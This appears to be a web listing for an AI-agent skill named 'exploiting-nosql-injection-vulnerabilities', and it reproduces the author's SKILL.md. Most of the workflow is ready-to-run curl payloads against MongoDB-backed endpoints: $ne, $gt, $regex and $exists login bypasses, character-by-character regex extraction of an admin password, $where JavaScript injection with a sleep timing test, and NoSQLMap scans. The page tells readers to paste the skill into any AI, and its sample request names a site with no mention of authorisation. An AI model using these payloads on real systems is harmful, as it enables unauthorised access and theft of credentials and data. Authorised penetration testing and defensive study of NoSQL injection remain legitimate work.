exploiting-nosql-injection-vulnerabilities
Helps your agent detect and exploit NoSQL injection vulnerabilities in databases like MongoDB.
What it does
This tool helps find and exploit security flaws in NoSQL databases like MongoDB. It allows testing if unauthorized information access or bypassing logins is possible.
When to use it
- ✓When testing the security of websites using NoSQL databases.
- ✓When you want to check if a login system can be tricked.
- ✓When analyzing APIs that receive JSON data for queries.
Example of what to ask your AI
“Try to find security vulnerabilities on example.com using the MongoDB database.”
Want more? Open the sections below.
How to use
The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.
Skill link
Ready-to-paste message
How it works
The tool sends specially crafted commands to the database, exploiting how it interprets certain instructions. This can reveal if the system is vulnerable to unauthorized access or data leaks.
Installation
Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.
In the terminal (Claude Code, Codex, Cursor), in your project folder:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-nosql-injection-vulnerabilitiesOr download just the file:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md -o SKILL.mdTechnical content (original SKILL.md)
Original text by the author, straight from GitHub.
Exploiting NoSQL Injection Vulnerabilities
When to Use
- During web application penetration testing of applications using NoSQL databases
- When testing authentication mechanisms backed by MongoDB or similar databases
- When assessing APIs that accept JSON input for database queries
- During bug bounty hunting on applications with NoSQL backends
- When performing security code review of database query construction
Prerequisites
- Burp Suite Professional or Community Edition with JSON support
- NoSQLMap tool installed (
pip install nosqlmapor from GitHub) - Understanding of MongoDB query operators ($ne, $gt, $regex, $where, $exists)
- Target application using a NoSQL database (MongoDB, CouchDB, Cassandra)
- Proxy configured for HTTP traffic interception
- Python 3.x for custom payload scripting
Workflow
Step 1 — Identify NoSQL Injection Points
# Look for JSON-based login forms or API endpoints
# Common indicators: application accepts JSON POST bodies, uses MongoDB
# Test with basic syntax-breaking characters
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin\"", "password": "test"}'
# Test for operator injection in query parameters
curl "http://target.com/api/users?username[$ne]=invalid"
# Check for error-based detection
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt": ""}}'
Step 2 — Perform Authentication Bypass
# Basic authentication bypass with $ne operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$ne": "invalid"}, "password": {"$ne": "invalid"}}'
# Bypass with $gt operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'
# Target specific user with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": ".*"}}'
# Bypass using $exists operator
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$exists": true}, "password": {"$exists": true}}'
Step 3 — Extract Data Using Boolean-Based Blind Injection
# Extract username character by character using $regex
# Test if first character of admin password is 'a'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^a"}}'
# Test if first two characters are 'ab'
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": "admin", "password": {"$regex": "^ab"}}'
# Enumerate usernames with regex
curl -X POST http://target.com/api/login \
-H "Content-Type: application/json" \
-d '{"username": {"$regex": "^adm"}, "password": {"$ne": "invalid"}}'
Step 4 — Exploit JavaScript Injection via $where
# JavaScript injection through $where operator
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.username == \"admin\""}'
# Time-based detection with sleep
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "sleep(5000) || this.username == \"admin\""}'
# Data exfiltration via $where with string comparison
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"$where": "this.password.match(/^a/) != null"}'
Step 5 — Use NoSQLMap for Automated Testing
# Clone and setup NoSQLMap
git clone https://github.com/codingo/NoSQLMap.git
cd NoSQLMap
python setup.py install
# Run NoSQLMap against target
python nosqlmap.py -u http://target.com/api/login \
--method POST \
--data '{"username":"test","password":"test"}'
# Alternative: use nosqli scanner
pip install nosqli
nosqli scan -t http://target.com/api/login -d '{"username":"*","password":"*"}'
Step 6 — Test URL Parameter Injection
# Parameter-based injection (GET requests)
curl "http://target.com/api/users?username[$ne]=&password[$ne]="
curl "http://target.com/api/users?username[$regex]=admin&password[$gt]="
curl "http://target.com/api/users?username[$exists]=true"
# Array injection via URL parameters
curl "http://target.com/api/users?username[$in][]=admin&username[$in][]=root"
# Inject via HTTP headers if processed by backend
…
FAQ
What are NoSQL databases?
These are databases that store information flexibly, unlike traditional databases. Common examples include MongoDB and CouchDB.
What is 'NoSQL injection'?
It's a type of attack where an attacker inserts malicious commands into data sent to the database to gain unauthorized access or extract information.
Do I need to know how to program to use this?
It's helpful to have some understanding of how databases work and the commands they understand, but the tool automates many of the complex steps.
Details
Original description by the author
Detects and exploits NoSQL injection vulnerabilities in MongoDB, CouchDB, and similar databases to demonstrate authentication bypass, data extraction, and unauthorized access via crafted query operators. Use when pentesting APIs or web applications backed by NoSQL databases to test input validation and injection defenses.
Popularity
- GitHub stars
- 35k
- Ranking position
- #5754
- License
- Apache-2.0
- Updated
- 8/31/2026
Comments
- …
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